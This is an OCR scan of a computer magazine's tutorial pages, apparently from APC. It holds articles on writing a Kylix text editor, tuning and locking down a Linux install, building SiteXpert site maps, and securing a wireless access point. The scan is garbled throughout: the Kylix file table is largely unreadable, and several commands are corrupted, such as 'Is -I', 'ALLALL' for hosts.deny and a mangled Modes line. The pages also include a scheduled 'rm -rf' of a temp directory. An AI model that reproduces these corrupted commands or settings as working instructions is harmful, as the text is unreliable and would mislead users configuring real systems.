buttons (Yes, No, Cancel). If the user presses Yes, the code manually 
executes the Save menu item's OnClick event handler (which is 
implemented as another form method). If the user presses No, the 
program simply sets the modified flag to False. If the user presses 
Cancel, the event handler is aborted — the old file is left as is. 

Whether the user pressed Yes or No (or there were no unsaved 
changes to begin with) the code moves down to the next condition 
— if there are no more changes left to be saved, everything is cleared. 




This application was built with Borlan(a Kylix j 
Open Eclition(tm).The application must be 1 

(iistrlbutecl under the terms of the GNU General j 
Public License (GPL), version 2, A copy of ! 
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You can't ban the banner: the Kylix nag screen. 


Lastly, the File, Open menu needs to invoke the open dialog to 
prompt the user for the desired file to open. As with File, New, if 
there are any pending changes in the old file, the user needs to be 
offered the chance to save them — this is done by triggering the 
New menu item's OnClick event handler. Assuming the user doesn't 
indicate they wish to stick with their old, unsaved file, the new file is 
loaded into the memo's Lines property, the filename is set and the 
modified flag is cleared again. 

procedure TfrmTextEditor.mniOpenClick(Sender: TObjecf); 
begin 

if dIgOpen.Execute then 
begin 

mniNewClick (mniNew); 
if not FModified then 



A Kylix project is made from many files. Some are very important 
(and shouldn't be deleted) and some are recreated during the save or 
compile process. The files are given names based either on the actual 
project name, or on the source module (or unit, to use the correct term) 
to which they relate. 

When Kylix starts, it uses a default project name of Projecti and 
a default unit nameof Unitl.The project file represents the whole 
application, whereas the unit typically contains the source code for an 
individual form. Flowever, a unit can also be made that is unrelated to a 


form, containing (for example) reusable library code. This type of unit 
just contains utility functions and no graphical user interface. 

The most important files to keep are the DPR, PAS and XFM files, as 
they define the capabilities of the application. However, if you modify 
any settings in the project options dialog you should also consider the 
KOF and CONF files as important. 

If backing up to a CD or other media, it is safe to delete or ignore the 
DCU, -DPR, -PAS and -XFM files. 

Below is a list of the more common files you will see, based on the 
default Kylix naming scheme. 


1 File guide I 

Rlename 

Description 



[I The prc^t source file, accessible with Project View Source, which contains the code that creates all the default ftrrms and starts the program running, it 

: also contains references to all files considered part of the [ 


■I project, including path information if needed.The historic extension stands for Delphi Project. 

I 

Projecti .res 

Hie project resource file,whkh is unused in Kylix (Delphi uses it for storing the application icon and version information!. 


1 ProjectlJorf 

[[ihe Kylix Options Fil^ wteh is a tesmia! corrfigoration file maintained and used ^ the to store settings frwn the prpjea ofHfons dialog. 

1 

Projecti .conf 

The equivalent of the KOF file for the command-line compiler (dec). You can readily generate Kylix applications from script files using the command-line 

tools, e.g., dec Projectl.dpr. 


II APa^lun)tfsourcecod^.$veryfotmhasana^ia(tedunit(caIleddfomiumT)c0i^tr»'ng^form4%sd^n)tion(md^ftifeeventh^)^e»oftf^formandcomponentipf3@(fpn^ | 

Unitijcfm 

The form file whose associated source code can be found in UnitTpas. By defauitthese files are textual, and can be edited directiy, if needed. 


1 Unitl^cu 

[| Acomjiriled version ofUnitTpas (Delphi comf^ unit). 

.! 

Projecti .-dpr 

A backup of the project file.The generation of backups is controlled by an editor option (choose Tools, Editor Options, Display, Create backup file). 

. 

j Unit1."pas 

"jjAbackupofthefotmunlt. 


Unit1.'~)(fm 

Abackup of the form file. 


1 Projecti [iThetesoterrieffiCOtabtecorrrpilerJfrorrryourprojecta^ ■ [ 





























begin 

memText.Lines.LoadFromFile(dlgOpen.FileName); 
FFileName := dIgOpen.FileName; 

FModified := False 
end 


end; 

One last nicety to add is to check if there are unsaved changes when 
the program is closed. The form's OnCloseQuery event caters for 
this situation. This is better than adding code to the File, Exit menu, 
because there are many different ways to close a program — not just 
by clicking File, Exit. 

The user should be allowed to save any changes, throw them 
away, or stop the program terminating (in case they need more time 
to think about what to do). Again, make use of the behaviour of the 
New menu item to prompt the user for saving, if need be. 

procedure TfrmTextEditor.FormCloseQuery(Sender: TObject; 
var CanClose: Boolean); 

begin 

mniNewClick (mniNew); 
if FModified then 
CanClose := False 
end; 

If the user wishes to cancel the closing of the program, the New 
menu item event handler leaves FModified set to True. So if that 
happens, the CanClose parameter is set to False. This causes Kylix to 
leave the form open. 

COMPILE, RUN AND EDIT TEXT 

A complete text-editing program has been written. Click the 
Run toolbar icon (a green arrow pointing right) to have Kylix 
compile and run the program. The compilation produces an 
executable, redistributable program on disk which can be run 
outside the Kylix IDE. 

You'll notice that as programs start, a Kylix Open Edition banner 
appears as a modal, borderless, stay-on-top window for three 
seconds. Trying to modify this banner contravenes the Kylix Open 
Edition licence agreement, but it's useful to know that clicking it 
makes it disappear, and that the -ns command-line parameter can be 
passed to any Open Edition application to prevent the dialog from 
appearing at all. 

From the IDE, command-line arguments can be specified 
by choosing Run, Parameters and entering them into the 
Parameters field. 

The text editor starts with a blank screen. Type some text. Click 
File, Save and the program will prompt you for a filename. Enter a 
name, and save the text to disk. Click File, New to scrap this text and 
get a blank screen again. 

Type some text but don't save it, click File, Open to open the file 
Just saved instead. The program will advise that there are unsaved 
changes and ask if these should be saved before allowing an existing 
file to be opened. Perform other tests to be sure all the menu items 
behave as expected. 


Installing Kylix on Linux distros ^ 

Kylix and, to a lesser extent, applications built with Kylix, have certain 
requirements that have to be met before a successful installation 
can take place. Borland has supplied appropriate updates to ensure 
Kylix will work on some Linux distros. Other distros currently require 
appropriate update files to be manually located and applied. 
Supported distros for Kylix 3 are: 

■ Mandrake 8.2 

• Red Hat 7.2 

■ SUSE7.3 

Because of issues with some common Linux libraries, it's 
essential to run a sanity-check program supplied with Kylix before 
installing. The program checks the critical libraries are at a suitable 
version level and therefore don't suffer from the pertinent issues. 
Kylix requires: 

■ Linux kernel version 2.2 or higher (some Kylix applications 
also need this) 

• libjpeg 6.2 or higher (some Kylix applications also need this) 

■ glibc 2.1.2 or later (Kylix applications also require this) 

There is also a Linux executable loader issue that poses 

problems for Kylix and Kylix applications. The issue is fixed in 
glibc 2.2, but Kylix comes with patches that fix the problem in 
glibc 2.1.2 on the supported distros. 


Of course, there's much, much more to Kylix than what is 
represented here in this Workshop, but now you've started to 
dabble and poke around the IDE, which hopefully has given 
you a feel. It's definitely the leading integrated development 
environment for Linux at the moment. 

The code on the cover CD set that's accompanying this article is 
more complete than what is presented here, and it can be helpful in 
learning new Kylix programming techniques. 

It includes more menu items, such as facilities to cut, copy and 
paste text. Word-wrapping is catered for and a status bar displays 
pertinent information. 

Most importantly though, error-handling is implemented to 
respond to potential problems — like trying to open a file which 
doesn't really exist. These are all the frameworks for a good, 
solid application. EHHH 


o 


Different versions ^ 

Kylix has been around for several years now. Back in February 2001, Borland 3 
released two commercial versions of Kylix (Desktop Developer Edition and 'a 
Server Developer Edition), that enabled database applications and Web 
server applications to be built for Linux. With those versions, commercial/ ^ 
proprietary software could be built and then sold (or, one could write free 
software if they so wished). 

After some time, Borland released Kylix Open Edition.This is available for 
free download from Borland's Web site and, more importantly, is also on this % 
month's cover CD. This product is so popular that it was downloaded 100,000 
times on its first morning of release. 

Kylix Open Edition specifically allows GPL (GNU Public License) software to j 
be written in an established development environment. ^ 
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Finetuning your 

Linux distro 


From troubleshooting a video card to scheduling 
events, tweaking permissions, daemons and 
incoming connections. Matt Overington shows 
how to go the last mile after installing Linux. 

Most installation guides are helpful in terms of getting an OS up 
and running, but they generally leave you standing there at the 
end with no further tips to help run and work with the system. 
Although Linux installers have advanced In leaps and bounds 
in recent years, they're still notoriously picky when it comes to 
setting up certain types of hardware, and the OS itself is somewhat 
obscure in its handling of some tasks. It's not uncommon to run 
all the way through a Linux installation, only to find that your 
graphics card or monitor hasn't been configured correctly. And 
while you may not have lost anything but your time by installing 
the free OS, there's little reason to persevere with it if you can't 
make full use of your hardware. 

One obvious answer is to buy a PC with hardware that you 
know is compatible with Linux to ensure that you won't have any 
driver difficulties, but it's rare that anyone will buy a new machine 
specifically for the purpose of trying an OS. It's more likely to be 
installed on a machine cobbled together from leftover parts. And 
this means that any old bits could find their way into your machine. 


■ WANT MY GUI 

Although there's a lot more to Linux than a graphical interface, and 
many diehard zealots refuse to use X Windows at all, most of us want 
to get up and running with a working GUI almost instantly. If you 
have an obscure video card, there's a chance that your Linux installer 
won't configure it correctly straight off the bat. Don't opt to test the 
graphical settings during the installation, as if they're wrong, it will 
kill your installation and you'll have to start again. It's relatively easy 
to install Linux in text mode and then configure X Windows after 
you've finished. 

Start by booting to a command prompt (level 3) and logging in as 
root. If you're used to booting to a GUI, you'll have to set the system 
to boot to the shell directly and not bother starting X Windows. The 
first thing you should do is backup the existing settings files. Type 
the following lines at the prompt to make backup copies of the two 
vital configuration files: 

cp /etc/X11/XF86Config-4 /etc/X11 /XF86Config-4.bak 
cp /etc/X11/XF86Config /etc/X11/XF86Config.bak 

After you've saved backup copies of the configuration, it's a matter 
of creating new ones. Log to the root folder and type the following 
at the prompt: 

XFree86 -configure 2>xfreeinst.log 



In your face: some distros, such as Red Hat, feature excellent interfaces to the 
XFreeSd configuration files. 


This will set up the configuration mode for Xfree86, create a log 
of errors called xfreeinst.log and store the information in a file 
called XF86Config.new. If you have a slow machine, this could take 
several minutes and appear to hang the system. Don't panic; it will 
eventually complete and return you to the prompt. The final step 
is to replace the old configuration file with the new one, which is 
achieved by typing the following line at the shell: 

cp -p /root/XF86Config.new /etc/X11 /XF86Config-4 

You can now type Startx to launch X Windows. Remember that if your 
settings are wrong and you don't get anything onscreen, you can 
always press Ctrl+Alt+Backspace to quit the X-server and drop you 
back to the shell. 

After X Windows is running, it probably won't be in the optimum 
resolution for your system (unless you've been very lucky). The 
rest of the configuration has to be done manually by editing the 
configuration file you just generated using the Xfree86 -configure 
command. Start out by once again backing up your old /etc/X11/ 
XF86Config-4 file. Just in case anything goes wrong. Open the 
/etc/X11/XF86Config-4 file in a text editor: any one will do, but our 
favourite is vim, which will be present on any well-equipped Linux 
distro. Navigate through the file until you find a line that reads 
Section “Screen", which is where the colour depths and resolutions 
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Work of art: tweak your XF86Config file 
for maximurr) aesthetics. 


are defined. The section is broken up into headers and subsections. 
The header should contain a line like; 

DefaultColorDepth 16 

This is the default number of colours to display onscreen, and will 
have a corresponding subsection further down the file. You are free 
to pick any colour depth that has its own subsection. After you've 
typed in the default colour depth, type in the resolutions that you'd 
like available with those colours by adding lines like: 

Modes -SOOxSOO--1024x768” 

to the subsection. Make sure that your monitor is capable of 
rendering a resolution at the colour depth you choose before 
committing the modifications to disk. 

After you've entered the resolution information, you can turn to 
configuring your monitor. If you have a recent one, there's a good 
chance that XFree86 managed to detect and configure it earlier. 

If not, you can run xf86cfg from the terminal prompt to scan the 
monitor for information. 

Occasionally you'll have to enter your monitor information by 
hand, but this is a worst-case scenario. Linux distros are equipped 
with a monitor database. In Mandrake it's stored at/usr/share/ 
Idetect-lst/MonitorsDB, but this varies from distro to distro. You 
can search for it by typing locate-l Monitors |less at the prompt. 

This file contains a list of supported monitors, with a different 
model on each line. 

The file includes details on the manufacturer, model, EISA ID, and 
maximum sync rates. If your monitor isn't listed, find a similar one 
that is supported (often a previous model from the same vendor) 
and note the settings. In the case of an emergency, you can use the 
generic settings, but this will usually give an unstable image at a low 

You can check your monitor manual for information on the 
maximum horizontal and vertical sync ratios that your screen is 
capable of displaying. Once you have an idea of the settings you'd 
like to use (or your monitor is capable of), you can type them into the 
"Monitor" section of the /etc/Xl 1 /XF86Config-4 file. 

After you've finished, save your changes and return to the shell 
prompt. Type startxto launch X Windows. If you listed more than one 
resolution in the Modes line, you will be able to pan through them by 
pressing Ctrl+Alt+Plus on the keypad. 

Once you've managed to get through the configuration of your 
system, there are a few basic points that you have to know to keep 
your Linux box running at peak efficiency — especially In terms of 
securing your box. 

There's a good reason for this because the last thing you need is 
for someone to come and set up shop on your machine and use it as 
a launching pad for illegal activity. For day-to-day running check out 
these pointers. 

PERMISSIONS 

Unix-based operating systems like Linux use files to manage data 
input and output. For example, if your printer is set up on /dev/lpO 



(which it most probably will be if it's a parallel printer), you send a file 
to that location to print it. Likewise a memory key; you can copy files 
to it by sending them to /dev/sdaO. File permissions define who is 
able to read, write or execute any file on a UNIX or Linux system, and 
are used to control access to system resources. You can set individual 
permissions on each file, or by extension or device. 

The elegance of this system is found in the amount of control it 
offers the administrator. You can tweak your system so that some 
users can access a printer, memory key or modem, while others may 
also get access to scanners and other system devices. 

Even if you're the only person that uses your machine, it's 
important to understand permissions — if your computer's 
connected to the Internet, people can log Into it and tie up your 
system resources. Even worse, they can take ownership of your 
system, masquerade as you, and then use your machine to launch 
attacks or forward spam to thousands of mailboxes. 

The core concept in the Linux file system is ownership. When a 
user creates a file, technically they own it. That means they are free 
to set the permissions on the file to define who can and can't work 
with it. A file owner can change the permission flags to allow other 
individual users to access it, but this is arduous. 

Linux makes use of groups to get around this, and enables 
permission changes to affect more than one user at once. The groups 
are configured via the/etc/group file. Each line ofthe file features a 
group definition, containing the name ofthe group and the members. 

By default, all user accounts on a system are also members of 
an additional group, called "others". Any permissions given to the 
"others" group are applied to all users on a system — on a university 
or large business network with tens of thousands of users, the 
"others" group becomes invaluable. 

It may be tempting to log in as root all the time, in which case you 
have permission to read and write to every file on the system. This 
is a massive security riskthough, as there aren't any "are you sure?" 
dialogue boxes that appear onscreen in the event of an accidental 
trashing of a folder or device. It remains too easy to destroy your 
system. A program will run with the same privileges as the person 
that executed it, so if you have minimal read/write permission 
outside your home directory, it minimises the potential harm from 
Trojan horses or other malicious code. 



apcmag.c 











With this emphasis on ownership, there's a need to pass 
ownership from one user to another. Otherwise all users would 
have to log on as root to be able to execute programs, or install 
their own instances of any application they need, which is a waste 
of system resources. Users can also transfer ownership from one 
user to another via the change owner, or chown command. For more 
information on how to use it, type man chown at the shell prompt. 

You can get a verbose listing of the files in a directory by typing 
Is -I at the terminal prompt. In a sample directory, you'll end up with 
an output that looks like this: 


executable for your group before you can read or write to them, and 
scripts have to be set as executable before they can be run. 

You can change the individual permission flags on a file manually 
by making use of the chmod command. This enables you to change 
the permissions on a file for the owner, owner's group and others, 
represented by the u, g, and o characters. The read, write or execute 
flags for a particular file (and user or group) are represented by r,w, 
and X characters, and are turned on or off using + or - prefixes. For 
example, to change the permissions on a file called myfile.txt so that 
it's universally readable and writeable, you'd invoke the command: 


[matt@localhost etc]$ Is -I 
-rw-r-r- 1 root root 
-rw-r-r- 1 root root 
-rw-r-r- 1 root root 
-rw-r-r- 1 root root 
drwxr-xr-x 2 root root 

drwxr-xr-x 3 root root 

-rw-r-r- 1 root root 
-rw-r-r- 1 root root 
drwxr-xr-x 2 root root 

drwxr-xr-x 2 root root 

-rw-r-r- 1 root root 
[matt@localhost etc]$ 


703515 Jan 1917:22 termcap 
3933 Mar 1410:08 tmdns.conf 
1412 Mar 1410:08 tmdns.services 
774 Jan 3015:21 updatedb.conf 
4096 Apr 1714:07 urpmi/ 

4096 Apr 1713:53 vfs/ 

610 Dec 5 09:51 xclassrc 
295 Feb 1412:04 xinetd.conf 
4096 Apr 1713:56 xinetd.d/ 

4096 Apr 1713:52 xml/ 

8182 Mar 1219:24 xpdfrc 


The permissions for each file are listed in the left column. They are 
grouped into sets of three characters. The first one is ignored, but 
the next three characters (rw- in this case) list the permissions of 
the owner. The next set (also rw- in this example) describes the 
permissions of the owner group, while the final set defines the 
permissions for everyone else. In this example, the owner can read 
and write to the file, members of the owner's group can read and 
write to the file, but other users can only read it. Of course, this 
goes for directories and devices, too. In addition to "read" and 
"write", there's also an "execute" flag. Directories have to be set to 



chmod o+rw myfile.txt. 

Thankfully batch changes can be made to save you from the arduous 
process of changing permissions for an entire directory tree. The 
chmod -R command recursively changes the permissions of all files 
and directories (including the current directory./) and is particularly 
useful if you're running a Web site. Again, detailed information 
regarding how to use chmod can be found in the man pages and 
accessed by typing man chmod at the terminal prompt. 

SCHEDULING EVENTS 

After you've managed to get your Linux system up and running, and 
are familiar with permissions and how the file system works, one 
of the most handy tools in the command line user's quiver is the at 
command. UNIX system administrators everywhere use it to trigger 
reminders, schedule events, and perform maintenance tasks. The 
basic syntax is simply at <time to schedule the event>. Open a terminal 
window and type at 6:55pm at the prompt. The prompt will change 
to at>, where you can type the commands that you'd like the system 
to execute at that time. For example, to send a message to yourself 
reminding you that the TV news is about to start, type: 

at 6:55pm 

at> echo 'The news is about to start." 
at> <CTRL-D> 

Hitting Control-D at the prompt saves the event. There are a number 
of reserved words that you can use for the time (like noon, midnight, 
teatime, and now) to save you from typing in exact numbers, 
and schedule events a certain amount of time into the future. For 
example, the following fragment will delete all files in the /matto/ 
temp directory one hour from the time it's executed: 

at now + 60 minutes 
at>rm -rf /mattoAemp 
at><CTRL-D> 

You can use the at command to schedule backups by copying 
folders to a device, perform basic maintenance, or grab images 
from a Webcam. Your imagination is the limit. You can look at the 
list of at events that are waiting to be executed by typing atq at 
the shell prompt. 

While the at command lets you execute a command once, what 
if you want to schedule an event (like a backup) every day or every 
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Time management; Mandrake 
features a built-in GUI frontend for cron. 


week at the same time? In this case, the cron command is more 
suitable. To schedule events, you have to enter them into the cron 
table. To do so, type crontab -e at the shell. You'll be presented with 
a list of scheduled events, but if this is the first time you've run it, the 
cron table will be empty. On the next line, type: 

***** /bin/echo Hi 

The first five asterisk fields in the line represent the minutes (0-59), 
hour (0-23), day of month (1-31), month (1-12 or jan-dec), and finally, 
the day of the week (0-6 or mon-sun) to run the event. An asterisk is a 
wildcard, which means "every" for that particular field. You're free to 
insert the command to run after the time. For example, to schedule 
a backup of a directory called /matto/temp to a USB memory key at 
midnight every day, you'd enter the line: 

0 0 * * * /bin/cp /matto/temp/* /mnt/usbkey 

You're not limited to this format, though. If you want to run an event 
on Monday, Wednesday and Friday, you could modify the line to read: 

0 0 * * mon,wed,fri /bin/cp /matto/temp/* /mnt/usbkey 

... or if you only want it to happen over a range of months: 

0 0 * jan-mar mon,wed,fri /bin/cp /matto/temp/* /mnt/usbkey 

You can get a list of the events waiting in the cron table by typing 

crontab -I. 

DAEMONS 

While Linux is an extremely secure operating system, you need to 
be diligent about locking down your box to prevent attacks from 
outside, especially if you're connected to the Internet most of the 
time. The first thing to look at is the daemons that are running by 
default. A daemon is a program that waits for a specific event before 
launching, and can be a potential security risk if you've got too many 
running as it allows outside users to get a lot of information about 
your machine. For example, the FTP daemon sits and listens for an 
incoming FTP request before granting FTP access to the machine 
that's trying to connect. If you disable the FTP daemon, then other 
machines can't access yours via the FTP protocol. 

The list of daemons is stored in /etc/inetd.conf, which is simply a text 
file. You can open it in any editor. Inside the text file, you'll find entries 
for all the daemons on your system. If there are any that you'd like to cut 
from the list, simply put a # symbol at the start of the line to comment 
them out. When the daemons are initially set up, they will be skipped 
over. After you've made your changes and saved the /etc/inetd.conf file, 
you have to restart inetd to execute the new daemons. Type: 

kill -HUP $(cat /var/run/inetd.pid) 

at the shell prompt to restart it and set your changes in motion. If 
you're serious about locking your Linux box down to help minimise 
attacks from the outside world, you'll want to look at shutting down 
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the echo, popd, imapd, rsh, gopher, finger, shell, login, exec, talk, 
systat, netstat, and chargen daemons. Of course, you can always 
reinstate a daemon if you decide that you need it at a later time by 
removing the # character from the start of the line in the 
/etc/inetd.conf file. 

After you've gone through and trimmed a number of the 
daemons out of your list, it's time to clean out the services that 
are launched upon starting the system. Most distributions feature 
a chkconfig command that can be used to configure the startup 
services. Although the ones to disable will vary depending on your 
distro and what you're using the computer for, you should disable 
as many as possible. Look to the table for a list of the common ones 
found on most Linux systems. 

CONTROLLING INCOMING CONNECTIONS 

The next phase of armouring your Linux box against outside attack 
is to control who is allowed to connect to your machine. There are 
two files in the /etc directory that are used to define incoming and 
outgoing connections. The first is called /etc/hosts.allow, which 
specifies which external hosts are able to connect to your box. 
Predictably, the list of hosts that you're locking out is stored in /etc/ 
hosts.deny. A good rule of thumb is to lock everyone out except 
those that need access. A typical /etc/hosts.deny file will simply 
contain a line that reads: 

ALLALL 

This denies connections from any outside sources. If you don't want 
to log into it from the outside world and are just using the Linux box 
for production, this is all you need. If you have a small network, and 
you want to enable telnet access from one of the machines on your 
network (let's say 192.168.0.12), you'd add telnetd:192.168.0.12 to the 
/etc/hosts.allow file. 

It'sagood rule of thumb to try and run as few services as 
possible, as it makes it easier to keep track of any changes that might 
take place on your system, and it's inherently more secure. 

The steps listed here will leave you with a secure machine, 
but if someone's determined to break in, they'll find a way. There 
are several more steps you can take to lock down your Linux box, 
including building TCP wrappers, shutting down individual ports 
and tweaking the kernel against outside attacks. Stay tuned to find 
out how in next month's issue of APC tUiLd 
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Web site 


David Williams demonstrates how to create a 
professional navigation scheme within minutes, 
using Xtreeme's SiteXpert 4.1. 

Drop-down menus and navigational maps are commonly used for 
interacting with software — everything from selecting program 
options to traversing file and folder hierarchies, and even stepping 
through a document (such as an outline in Word). Yet navigation 
between the pages of a Web site remains largely inconsistent. 

SiteXpert can create professional menu and site map schemes, 
literally within minutes — and without any programming. SiteXpert 
generates dynamic menus and collapsible maps using a variety of 
technologies including DHTML, JavaScript and Java applets. The 
code generated is compatible with all major browsers and platforms. 

SET YOUR SITES 

The first time SiteXpert is run and you elect to create a new site map, 
it displays a step-by-step wizard (subsequent runs simply invoke 
SiteXpert's custom mode where pages can be manually added to 
and removed from a layout). 

Two schemes are available: file structure mode, where the Web 
site hierarchy is created to reflect the file and directory structure 
used on disk; and Navigation mode, where the hierarchy is created to 
reflect the links between pages on the site. 

After selecting a scheme, tell SiteXpert where the site's home 
page is — either on disk, or as a URL. SiteXpert will spider the site 
from this starting point to determine all the pages making up 
the site. External sites can be either excluded or included in the 
spidering, and subsequently in the generated site map. 

Finally, select options to include or exclude specific types of files 



Quick and easy: SiteXpert has created a starting site map for a personai Web site. 


(such as PDFs, ASPs and so on), and whether to represent pages 
on the menu by name, description or in several other manners. 
SiteXpert allows for Web pages to use a custom <DESCRIPTION> tag, 
to hold the description text to be used in the menu. This tag should 
be embedded into HTML comments, so as not to confuse browsers; 

<TITLE>page title</TITLE> 

<!- <DESCRIPTIOI\l>SiteXpert-specific page description</DESCRIPTION> -> 

Click Finish and SiteXpert traverses the Web site, locating pages 
and constructing a site map according to the specifications given. 

DROP DOWN OR MAP AROUND 

The site map that's been generated is only a starting point. Using 
the Layout tab page on SiteXpress' main screen, items (folders 
and links) can be added and removed, indented and outdented, 
repositioned and have their properties altered. The interface is 
natural and intuitive — drag items to reposition them; use Shift-click 
and Ctrl-click to select or deselect multiple items. Dragging a folder 
also moves all subfolders and child links to the new location. Each 
link can have its own unique icon on the menu and target a specific 
frame if the site uses a frameset. 

A preview tab page is provided, with an embedded Microsoft 
Internet Explorer window to show what the generated site map 
will look like. This is only available if IE4.0 or higher is installed. The 
preview is only generated to a temporary folder, which means the 
links will network. 

Click the Options button to elect where SiteXpert should 
generate the final site map code. A sensible location is in the same 
folder as the rest of the site's Web pages, which needn't be on the 
local filesystem but can be on a remote FTP server. The generated 
code is created in its own HTML file and can either be used in a Web 
site as is, or copied-and-pasted into other HTML pages. 

To have SiteXpert upload output files to an FTP server, a number 
of options need to be specified. Beside the obvious ones (server, 
username, password), the path can also be set relative to the default 
path of the FTP account (such as public_html/sitemap) or absolute 
(/home/username/public_html/sitemap). If the given folder doesn't 
exist, it will be created by SiteXpert. 

The Styles tab page is used to alter the site map appearance and 
behaviour, with several varieties of drop-down menus, hierarchy trees 
and index pages. Click Preview to see how the style looks in practice. 

KEEPING THE MAP UP-TO-DATE 

Obviously a Web site is a dynamic and ever-changing organism. 
SiteXpress can update a previousiy generated site map to reflect 
recent changes in two ways; either by opening a saved site map and 
using the layout wizard; or by calling SiteXpress from a command 
prompt or BATCH fiie — specify the fiag /g and the path of a saved 
site map to have that site map updated. ELTHS 
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Jarrod Spiga explains how to set-up a secure 
wireless access point. 

Despite the best efforts of the network vendors, setting up a 
wireless access point isn't always piug-and-play. You should always 
expect to spend a little extra time and effort configuring the 
hardware for your network, especially when it comes to securing it 
against intruders who'll be happy to take a free broadband ride on 
your wireless network if given the chance. 

The first step is to identify the best location for your access 
point. Received signal strength and data transfer speeds will be best 
if the access point is in the direct line of sight from where you're 
working. When configuring the access point, set it up at a location 
close to your computer, only moving it to its final location when 
configuration is complete. 

If you have an existing lO/IOObaseTEthernet network with a 
hub or a switch, you'll need to connect the access point via a 
passthrough cable. To connect a PC directly to your access point with 
a PC/Hub selector switch, you can use a passthrough cable and set 
the switch to the PC setting. If your access point doesn't have this 
selector, you'll need to use a crossover cable between the PC 
and access point (see the box on the opposite page for details). 

There are a number of ways to configure the access point. Most 
devices can be configured via a Web interface, but some may have 
command line interfaces, or additional client software. The manuals 
that come with your access point will advise what methods are 
available to configure the device. 

Firstly, configure the access point's IP settings. Some access 
points ship with a static IP address already assigned, while others 
rely on the presence of a DHCP server to assign an IP address. In most 
cases, it's easier to assign a manual IP address to your access point. 

To do this, find the existing IP address on the device (this can usually 
be determined from your manuals), and load the management 
interface. After logging in to the access point, you should be able 
to change configuration parameters including the IP address. 

You may also want to configure other IP options, such as the DNS 
servers and default gateway you are using; these can be handy for 
troubleshooting purposes if things go wrong. 

After configuring the IP settings on the access point, you should 
set up the Radio Service Set ID (SSID).The SSID is a small string that 
you can use to identify the access point. It's important to set so that 
you can identify this access point from your client in an area where 
there may be other access points available. At this stage, it's also 
logical to set the mode of operation for the access point. If this is the 
only access point on your network, or you want this access point to 
operate separately from any other access point on your network, 
make sure that it's configured to be a root bridge. If you want this 
access point to repeat a signal from another access point, then set 
the device as a repeater. 


Numerous access points have further configuration options, 
such as SNMP, radio compatibility and security options. You may 
configure these now if you wish, but these options can affect the 
way your new access point operates. In the meantime, don't be 
concerned with security — we will come to that shortly. 

Once you've reached this stage, wireless devices should now be 
able to see your access point. If you get your PC/laptop with a 802.1 lx 
wireless adaptor and query for networks available, you should be 
able to see a wireless access point with the SSID that you listed 
earlier, and be able to connect to the network. 

If you can't see the access point from your wireless PC/laptop, 
it's a good idea to check physical connectivity first. Make sure 
the wireless adaptor is properly installed, powered, and that any 
drivers are correctly installed on the client. You can use tools such 
as NetStumbler (included on this month's cover CD) to see the 
strength of the signal coming from your access point — this can 
help you determine if you are getting a strong enough signal from 
the access point, and identify radio black spots. 

Also, simple connectivity tests, such as pinging the access point 
from a host on the wired network, may also help diagnose any 
problems on the wired side of the access point. 

SECURING YOUR WI-FI NETWORK 

With an unsecured wireless network, it's possible for anyone with 
a wireless adaptor to connect to your network as long as they are 
within range. This is obviously dangerous, as others can gain access 
to your network resources and data. There are legions of war drivers 
who proactively seek out access to wireless networks with poor 
security mechanisms, in order to make unauthorised use of those 
networking resources. 

Sometimes this can be as simple as leeching access to the 
Internet via your broadband connection. Other times, it can be as 
invasive as having data on your computer copied, corrupted, cleared 
or otherwise compromised. In the same way that you don't want 
others eavesdropping on your telephone conversations, you also 
don't want unauthorised users accessing your network. 

You'll never be able to make it totally bulletproof, but you should 
try and put in the most mechanisms you can, in order to prevent 
unauthorised access. 

WIRED EQUIVALENT PRIVACY 

The most common method for protecting a wireless network is to 
encrypt the data that traverses the network using Wired Equivalent 
Privacy (WEP). Devices encrypt data using a shared key, and can only 
decrypt that data if they know the key. Initially, WEP used a 40-bit 
key, but more recent WEP implementations are using 128-, 152-and 
256-bit encryption. In general, the longer a WEP key is, the harder 
(in terms of computing power required) it is to crack. 40-bit keys 
don't offer much protection as they can be cracked in a few hours. 
128-bit keys take significantly longer, and are the minimum length 
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An RJ-45 Ethernet cable consists of eight wires, of which only four 
are used for the transmission of data. Looking at the diagram, wires 
one and two are used for transmitting data from a transceiver device 
(such as a PC or a router) and wires three and six are used for receiving 
data. A passthrough cable is where pin one at one end of the cable 
connects to pin one at the other end, pin two goes through to pin 
two, and so on. Passthrough cables need to be connected between 
transceiver devices and repeating devices — it's the repeating device's 
responsibility to ensure that the signal on the transmission line from 
one transceiver PC goes down the receiver line to the destination PC. 

But what happens if we connect a passthrough cable directly 
between two PCs? The wire that's carrying the transmitted signal from 
one PC goes to the transmitter of the other PC instead of going to the 
receiver. This is the reason why we have to use a crossover cable when 
connecting one PC directly with another. A crossover cable has wire one 
connected to pin three in the plug on one end of the cable, and wire 
three to pin one. Wires two and six are aiso crossed over in this fashion. 
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key to use at the present time. In some cases, you may need to 
contact the manufacturer of your equipment for flash updates or 
updated drivers in order to use some levels of encryption. 

As the method of encrypting data using WEP requires 
computational processing, a siight performance penalty is 
experienced. If you are using a wireless router, you could expect to 
see some additional computational overhead. However, in real world 
networking scenarios where we only have one access point, this 
performance penalty is negligible. 

Enabling WEP is a straightforward process. From the 
management application on your access point, you'll need to set up 
a key, in the form of a string of hexadecimal characters. Once this 
is set up, use the same key across all devices that you would like to 


connect to your wireless network. As with all passwords and keys, 
they should be changed from time to time in order minimise the 
chance of security being breached. One of the disadvantages of WEP 
is that when you change the key on the access point, you also need 
to update the key on all other linked devices. 

MAC FILTERING 

Every networking device is assigned a 48-bit hardware address known 
as the Machine Address Code (MAC). Think of all devices connected to 
your access point to be on the same network segment (or broadcast 
domain). Whenever one device communicates with another device 
on the same broadcast domain, the data frame is addressed to the 
receiver's MAC, and addresses from the sender's MAC. 
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A large number of access points have the ability to filter all traffic 
and only forward data from devices with certain hardware addresses 
on the network. To enable this type of data-link layer security, you 
need to configure your access point so that it forwards all traffic to 
and from MACs that are being used on your network. If a device has 
a MAC that Is not listed In the list attempts to communicate on the 
network, the access point will simply drop that traffic, and not allow 
It to continue across the network. 

The disadvantage of using MAC filtering is that it's possible 
to change the MAC on networking devices: if a malicious user 
reconfigures the hardware address on their wireless adaptor to 
match one listed in the list of MACs on your access point, they will be 
able to circumvent this filtering mechanism. 

IP FILTERING 

Internet Protocol (IP) is the network-layer protocol used on 
almost all networks (especially those connected to the Internet). 

All hosts on the same network can communicate directly with 
each other, and all hosts can communicate with hosts on other 
networks by routing traffic through a gateway or router. You 
can add another level of security to your wireless network by 
filtering out wireless traffic going to the access point from IP 
addresses that you don't know about. IP filtering options are 
available on many access points, particularly those that also act as 
routers or Internet gateways. 

When implementing IP filtering, first think locally, then globally. 
Determine the IP addresses of the wireless devices on your network, 
and configure your access point to only allow communication to and 
